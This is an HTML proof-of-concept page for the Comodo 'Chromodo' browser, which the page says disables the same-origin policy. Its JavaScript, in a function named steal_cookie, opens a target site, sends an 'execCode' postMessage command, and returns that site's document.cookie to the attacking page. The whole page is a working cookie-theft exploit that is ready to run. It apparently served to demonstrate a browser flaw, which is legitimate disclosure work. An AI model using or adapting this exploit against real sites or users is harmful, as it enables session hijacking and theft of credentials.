<html>
|
<head></head>
|
<body>
|
<p>
|
The chromodo browser disables the same origin policy, use this page to test.
|
<br>
|
<a href="https://www.comodo.com/home/browsers-toolbars/chromodo-private-internet-browser.php">https://www.comodo.com/home/browsers-toolbars/chromodo-private-internet-browser.php</a>
|
</p>
|
<p>
|
Domain you would like to access:
|
<input id=target value="http://ssl.comodo.com/" size=32>
|
</p>
|
<p>
|
Code you would like to run:
|
<input id=code value="document.cookie" size=32>
|
</p>
|
<p>
|
Output will appear here:
|
</p>
|
<textarea id=result cols=64 rows=10>
|
</textarea>
|
</p>
|
<p>
|
<input type=submit onclick="steal_cookie(window.open(document.getElementById('target').value))">
|
</p>
|
<script>
|
|
// This function receives the result from the target.
|
function receive(result)
|
{
|
document.getElementById('result').value = unescape(result);
|
}
|
|
// Dispatch exploit message, and send result back.
|
function steal_cookie(obj)
|
{
|
code = "cmd='receive(" + '"' + "' + escape(document.cookie) +'" + '"' + ");';"
|
+ "window.opener.postMessage(JSON.stringify({command: 'execCode', code: cmd}), '*');"
|
+ "window.close();"
|
|
console.log(code);
|
// Wait for the page to load
|
setTimeout(function() {
|
obj.postMessage(JSON.stringify({
|
command: "execCode",
|
code: code,
|
}), "*");
|
}, 2000);
|
}
|
</script>
|
</body>
|
</html>
|